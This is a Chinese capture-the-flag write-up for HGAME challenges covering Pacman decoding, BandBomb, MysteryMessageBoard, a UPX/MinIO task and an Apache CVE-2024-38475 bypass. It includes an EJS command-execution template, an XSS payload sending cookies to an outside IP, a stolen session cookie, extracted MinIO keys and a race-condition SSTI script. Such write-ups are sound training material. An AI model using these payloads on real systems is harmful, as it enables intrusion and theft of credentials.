HGAME复现
签到
TEST NC
就是连接nc,用的是wsl

nc之后回车然后ls查找就行
接着cat flag就可以拿到flag了

hgame{yOUR-c4N_c0NN3Ct-tO_tH3-remOtE-ENvirONmENt-tO_gEt-fl@g0}
从这里开始的序章

直接复制就是flag了
hgame{Now-I-kn0w-how-to-subm1t-my-fl4gs!}
WEB
week1
Level 24 Pacman


前端js小游戏,然后就是看源码(源码还被混淆了),很明显这俩gift要解密
aGFldTRlcGNhXzR0cmdte19yX2Ftbm1zZX0=
aGFlcGFpZW1rc3ByZXRnbXtydGNfYWVfZWZjfQ==
然后就是栅栏密码,再次解密


hgame{u_4re_pacman_m4ster}
还有个解出来是


hgame{pratice_makes_perfect}
然后发现第一个是真的
Level 47 BandBomb

然后他还给了源码,如下,看不太懂,问了chatgpt
const express = require('express');
const multer = require('multer');
const fs = require('fs');
const path = require('path');
const app = express();
app.set('view engine', 'ejs');
app.use('/static', express.static(path.join(__dirname, 'public')));
app.use(express.json());
const storage = multer.diskStorage({
destination: (req, file, cb) => {
const uploadDir = 'uploads';
if (!fs.existsSync(uploadDir)) {
fs.mkdirSync(uploadDir);
}
cb(null, uploadDir);
},
filename: (req, file, cb) => {
cb(null, file.originalname);
}
});
const upload = multer({
storage: storage,
fileFilter: (_, file, cb) => {
try {
if (!file.originalname) {
return cb(new Error('无效的文件名'), false);
}
cb(null, true);
} catch (err) {
cb(new Error('文件处理错误'), false);
}
}
});
app.get('/', (req, res) => {
const uploadsDir = path.join(__dirname, 'uploads');
if (!fs.existsSync(uploadsDir)) {
fs.mkdirSync(uploadsDir);
}
fs.readdir(uploadsDir, (err, files) => {
if (err) {
return res.status(500).render('mortis', { files: [] });
}
res.render('mortis', { files: files });
});
});
app.post('/upload', (req, res) => {
upload.single('file')(req, res, (err) => {
if (err) {
return res.status(400).json({ error: err.message });
}
if (!req.file) {
return res.status(400).json({ error: '没有选择文件' });
}
res.json({
message: '文件上传成功',
filename: req.file.filename
});
});
});
app.post('/rename', (req, res) => {
const { oldName, newName } = req.body;
const oldPath = path.join(__dirname, 'uploads', oldName);
const newPath = path.join(__dirname, 'uploads', newName);
if (!oldName || !newName) {
return res.status(400).json({ error: ' ' });
}
fs.rename(oldPath, newPath, (err) => {
if (err) {
return res.status(500).json({ error: ' ' + err.message });
}
res.json({ message: ' ' });
});
});
app.listen(port, () => {
console.log(`服务器运行在 http://localhost:${port}`);
});
概括来说这串代码 就是:
-
可以通过
/upload路径上传文件 -
文件被保存在名为
uploads的文件夹中 -
文件会以其原始文件名进行保存
-
可以通过
/rename路径请求重命名文件 -
需要提供旧的文件名和新的文件名
-
当访问根路径
/时,服务器会列出uploads文件夹中的所有文件,并通过 EJS 渲染模板
因为根据这串源码,可以看出用了EJS渲染模板,没有明确设置渲染的文件路径,所以会默认保存在/app/view/目录下,且直接使用原始的文件名,网站有upload和rename这两个路由,且rename具有覆盖原文件的功能,用户传递的文件名(oldName 和 newName)也没有经过充分的验证,所以这题的破题关键就是上传一个名为mortis.ejs的文件,覆盖掉原本的mortis.ejs,之后通过再次访问,重新渲染,得到权限
<%= global.process.mainModule.require('child_process').execSync("env > /app/public/1.txt") %>
<%= %>:这是 EJS 模板中的一个插值符号,表示执行其中的代码,并将结果插入到最终渲染的 HTML 中。<%= ... %> 中的 JavaScript 会被执行,并将结果插入到 HTML 输出中
global.process:global 是 Node.js 中的一个全局对象,代表全局命名空间。process 是 Node.js 提供的全局对象之一,用来提供与当前进程相关的各种信息和功能,通过 global.process,可以访问到 Node.js 进程对象
mainModule.require('child_process'):mainModule 是指 Node.js 启动时的主模块(通常是应用的入口文件)require('child_process') 用来引入 child_process 模块,它提供了用于创建和管理子进程的 API。具体的功能包括执行命令、创建子进程等
execSync("env > /app/public/1.txt"):
execSync 是 child_process 模块提供的一个方法,用来同步地执行命令。它会阻塞当前线程直到命令执行完成
env 是一个命令行工具,它会打印出当前环境变量。执行 env 命令会输出包括系统环境变量(如 PATH、HOME 等)的内容
> /app/public/1.txt 将 env 命令的输出重定向到文件 /app/public/1.txt 中

然后访问rename路由,进行重命名操作
{"oldName":"a.ejs","newName":"../views/mortis.ejs"}
这里注意要把enctype由application/x-www-form-urlencoded改为application/json,不然会报错的
原因:
application/x-www-form-urlencoded
这是表单数据的默认编码方式,用于通过 HTML 表单提交数据,数据会被 URL 编码,空格会被替换为 +,特殊字符会被转义(如 & 转义为 %26),适合小型的数据提交,尤其是表单数据,不适合传递复杂的嵌套数据结构
application/json
这是一种更现代的编码方式,适用于处理复杂数据或 API 请求,特别是通过 JavaScript 发送的 HTTP 请求(如 fetch 或 XMLHttpRequest),数据是以 JSON 格式进行传输,支持嵌套结构和各种数据类型(如数组、对象、布尔值等),对于复杂的数据,JSON 更加直观且易于处理,服务器端可以轻松地解析 JSON 数据

然后再访问/static/1.txt,即可看见flag,因为下面这串代码,故路径为此


hgame{@vE-MUJ1C@-HA5_BrOKen_Up-BUT_wE-H4V3_umItakl76}
Level 69 MysteryMessageBoard

打开是登录界面,很明显,用户名是shallot
密码爆破是888888

后面就是留言板,并且存在xss,题目还给了附件(go语言看不懂,扔给ai写了点注释)
package main
import (
"context"
"fmt"
"github.com/chromedp/chromedp" // 无头浏览器控制
"github.com/gin-gonic/gin" // Web框架
"github.com/gorilla/sessions" // 会话管理
"log"
"net/http"
"sync"
"time"
)
// 全局变量
var (
store = sessions.NewCookieStore([]byte("fake_key")) // 会话存储(密钥硬编码不安全)
users = map[string]string{ // 硬编码用户凭证(不安全)
"shallot": "fake_password",
"admin": "fake_password"}
comments []string // 存储用户留言(未持久化)
flag = "FLAG{this_is_a_fake_flag}" // 需要保护的敏感数据
lock sync.Mutex // 用于并发控制
)
// 登录处理函数
func loginHandler(c *gin.Context) {
username := c.PostForm("username")
password := c.PostForm("password")
// 验证用户凭证
if storedPassword, ok := users[username]; ok && storedPassword == password {
session, _ := store.Get(c.Request, "session")
session.Values["username"] = username
// 会话Cookie配置(存在安全隐患)
session.Options = &sessions.Options{
Path: "/",
MaxAge: 3600,
HttpOnly: false, // 允许JS读取Cookie(危险)
Secure: false, // 非HTTPS传输(不安全)
}
session.Save(c.Request, c.Writer)
c.String(http.StatusOK, "success")
return
}
log.Printf("Login failed for user: %s\n", username)
c.String(http.StatusUnauthorized, "error")
}
// 注销处理函数
func logoutHandler(c *gin.Context) {
session, _ := store.Get(c.Request, "session")
delete(session.Values, "username")
session.Save(c.Request, c.Writer)
c.Redirect(http.StatusFound, "/login")
}
// 主页处理函数(存在XSS漏洞)
func indexHandler(c *gin.Context) {
session, _ := store.Get(c.Request, "session")
username, ok := session.Values["username"].(string)
if !ok {
c.Redirect(http.StatusFound, "/login")
return
}
// 处理评论提交
if c.Request.Method == http.MethodPost {
comment := c.PostForm("comment")
log.Printf("New comment submitted: %s\n", comment)
comments = append(comments, comment) // 存储原始用户输入(危险)
}
// 生成HTML内容(未转义用户输入导致XSS漏洞)
htmlContent := fmt.Sprintf(`<html>...</ul>`, username)
for _, comment := range comments {
htmlContent += "<li>" + comment + "</li>" // 直接拼接用户输入(高危)
}
// ...后续HTML拼接
c.Data(http.StatusOK, "text/html; charset=utf-8", []byte(htmlContent))
}
// 管理员入口(触发无头浏览器访问)
func adminHandler(c *gin.Context) {
// 返回响应给用户
c.Data(http.StatusOK, "text/html; charset=utf-8", []byte(`...`))
// 启动无头浏览器(模拟管理员查看留言)
go func() {
lock.Lock()
defer lock.Unlock()
// 创建浏览器上下文
ctx, cancel := chromedp.NewContext(context.Background())
defer cancel()
ctx, _ = context.WithTimeout(ctx, 20*time.Second)
// 执行浏览器自动化任务
if err := chromedp.Run(ctx, myTasks()); err != nil {
log.Println("Chromedp error:", err)
}
}()
}
// 浏览器自动化任务流程
func myTasks() chromedp.Tasks {
return chromedp.Tasks{
chromedp.Navigate("/login"), // 访问登录页
chromedp.WaitVisible(`input[name="username"]`), // 等待元素加载
chromedp.SendKeys(`input[name="username"]`, "admin"), // 输入用户名
chromedp.SendKeys(`input[name="password"]`, "fake_password"), // 输入密码
chromedp.Click(`input[type="submit"]`), // 提交表单
chromedp.Navigate("/"), // 访问首页(可能触发XSS)
chromedp.Sleep(5 * time.Second), // 等待页面加载
}
}
// Flag获取接口(需要管理员权限)
func flagHandler(c *gin.Context) {
session, err := store.Get(c.Request, "session")
if err != nil {
c.String(http.StatusInternalServerError, "无法获取会话")
return
}
// 验证管理员权限
username, ok := session.Values["username"].(string)
if !ok || username != "admin" {
c.String(http.StatusForbidden, "只有admin才可以访问哦")
return
}
c.String(http.StatusOK, flag) // 返回敏感数据
}
func main() {
r := gin.Default()
// 路由配置
r.GET("/login", loginHandler) // 登录页(GET)
r.POST("/login", loginHandler) // 登录请求(POST)
r.GET("/logout", logoutHandler) // 注销
r.GET("/", indexHandler) // 主页(含留言板)
r.GET("/admin", adminHandler) // 触发管理员检查
r.GET("/flag", flagHandler) // 获取flag的接口
log.Println("Server started at :8888")
log.Fatal(r.Run(":8888")) // 启动服务
}
所以写个外带cookie
<script>
fetch('http://47.109.18.45:3333?cookie=' + document.cookie);
</script>
服务器开启监听即可
nc -lvp 3333
然后访问/;admin,让admin来看我们的留言,从而拿到他的cookie

session=MTc0MDMwMDE1OXxEWDhFQVFMX2dBQUJFQUVRQUFBbl80QUFBUVp6ZEhKcGJtY01DZ0FJZFhObGNtNWhiV1VHYzNSeWFXNW5EQWNBQldGa2JXbHV81JyRYFSFZIwyuPFOX8lUQdR4zs9-8c_aVBQkG75zlTQ=
cookie拿到了之后访问/flag,然后hackbar改一下cookie即可

Level 25 双面人派对
看wp不知道那个第一步upx怎么弄的(re是一点不会),求助了RE佬,学会了
就是访问第二个页面后会自动下载一个main的文件
这里需要upx自动脱壳(RE师傅说这是最简单的一种)
upx -d main(main是下载的文件的名字,我把main文件和upx.exe放在同一个文件夹下就很方便)


然后就是把upx脱完壳子的这个main文件给他拖到IDA里面(为了这题第一次下)

这样子(不知道为啥要这样,不太会用IDA,然后就是在Ctrl+F底下搜索secret)

就拿到了

access_key: "minio_admin"'
secret_key: "JPSQ4NOBvh2/W7hzdLyRYLDm0wNRMG48BL09yOKGpHs="
minio不知道是什么,查了一下就是一个开源的对象存储服务器,并且可以通过S3的SDK工具与其进行交互


一直报错,查不了文件,还没找到原因以及解决办法
Level 38475 角落


dirsearch扫目录,

发现robots协议

得到三个目录

拿到源码(找ai写了注释)
# 配置Apache服务器
# 设置/usr/local/apache2/app目录的访问权限
<Directory "/usr/local/apache2/app">
# 启用目录索引(当没有index文件时显示目录文件列表)
Options Indexes
# 禁止覆盖配置(禁用.htaccess文件)
AllowOverride None
# 允许所有客户端访问该目录
Require all granted
</Directory>
# 对特定文件app.py设置访问限制
<Files "/usr/local/apache2/app/app.py">
# 先处理Allow指令再处理Deny指令(旧版语法)
Order Allow,Deny
# 拒绝所有访问该文件
Deny from all
</Files>
# 启用重写引擎
RewriteEngine On
# 匹配User-Agent以"L1nk/"开头的请求
RewriteCond "%{HTTP_USER_AGENT}" "^L1nk/"
# 将对/admin/路径的请求重写到根目录的同名.html文件,并添加secret参数
# 示例:/admin/test 会被重写到 /test.html?secret=todo
RewriteRule "^/admin/(.*)$" "/$1.html?secret=todo"
# 设置反向代理:将/app/路径的请求转发到本机5000端口
# 适用于将请求代理给Python Flask/Django等后端应用
ProxyPass "/app/" "http://127.0.0.1:5000/"
因为上面的配置中明确禁止直接访问 app.py:
<Files "/usr/local/apache2/app/app.py">
Order Allow,Deny
Deny from all
</Files>
但通过重写规则构造的路径会被 Apache 视为带查询参数的请求,而非直接请求 app.py 文件,所以Apache 的文件路径解析会忽略 ? 后的部分,认为请求的是 app.py 文件本身。
CVE-2024-38475 漏洞
攻击者可以将 URL 映射到允许服务器提供服务但不能通过任何 URL 有意/直接访问的文件系统位置
在此情况中:
-
重写规则
RewriteRule "^/admin/(.*)$" "/$1.html?secret=todo"会将请求/admin/xxx转换为/xxx.html。 -
但通过构造成
usr/local/apache2/app/app.py%3f(即app.py?)由于文件名中通常不允许包含
?,Apache 的路径解析会忽略.html?secret=todo部分,最终实际访问的是:复制
/usr/local/apache2/app/app.py -
漏洞允许这种“路径拼接”绕过
<Files>的限制,直接访问app.py。

from flask import Flask, request, render_template, render_template_string, redirect
import os
import templates # 自定义模板模块,可能包含预定义的模板字符串
app = Flask(__name__)
pwd = os.path.dirname(__file__) # 获取当前脚本所在目录
show_msg = templates.show_msg # 从templates模块导入预定义的模板字符串
def readmsg():
filename = pwd + "/tmp/message.txt"
if os.path.exists(filename):
f = open(filename, 'r')
message = f.read()
f.close()
return message
else:
return 'No message now.'
@app.route('/index', methods=['GET'])
def index():
status = request.args.get('status') # 从URL参数获取状态信息
if status is None:
status = ''
return render_template("index.html", status=status) # 渲染静态模板
@app.route('/send', methods=['POST'])
def write_message():
filename = pwd + "/tmp/message.txt"
message = request.form['message'] # 从POST表单获取用户输入
f = open(filename, 'w')
f.write(message) # 将用户输入写入文件(无过滤)
f.close()
return redirect('index?status=Send successfully!!') # 重定向到首页
@app.route('/read', methods=['GET'])
def read_message():
message_content = readmsg()
if "{" not in message_content: # 简单WAF:检查是否存在大括号
show = show_msg.replace("{{message}}", message_content) # 替换模板变量
return render_template_string(show) # 渲染动态模板字符串
return 'waf!!' # 触发WAF拦截
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
代码会检查 readmsg() 返回的内容是否不含{,如果通过检查,会将 readmsg() 的内容替换到模板的 {{message}} 位置,最终调用 render_template_string(show),如果我们能在 readmsg() 的检查阶段和实际渲染阶段之间,动态修改其返回值(例如从 无{ 变为 有{),就能绕过检查并触发 SSTI,此时readmsg() 的返回值可能在检查时是“干净”的,但在渲染时被篡改为包含恶意模板代码(如 {{7*7}}),所以我们需要在一个请求触发检查后、渲染前的极短时间内,通过另一个请求修改 readmsg() 的内容形成竞争条件
条件竞争原理:
- 攻击者同时发送正常(无
{)和恶意(含SSTI payload)的/send请求。 - 正常请求可能使用大文件延长写入时间,增加时间窗口。
- 在服务器处理
/read时,第一次检查可能读取正常内容,而第二次读取时文件已被恶意内容覆盖。
import requests
import threading
def send_payload():
# 发送带有模板注入的消息
payload = "{{g.pop.__globals__.__builtins__.__import__('os').popen('cat /flag').read()}}"
requests.post("http://node1.hgame.vidar.club:32380/app/send", data={"message": payload})
def read_message():
# 尝试读取消息
a = requests.get("http://node1.hgame.vidar.club:32380/app/read")
print(a.text)
# 创建多线程发送请求,利用竞争条件绕过WAF检查
threads = []
for i in range(10):
t1 = threading.Thread(target=send_payload)
t2 = threading.Thread(target=read_message)
threads.append(t1)
threads.append(t2)
t1.start()
t2.start()


浙公网安备 33010602011771号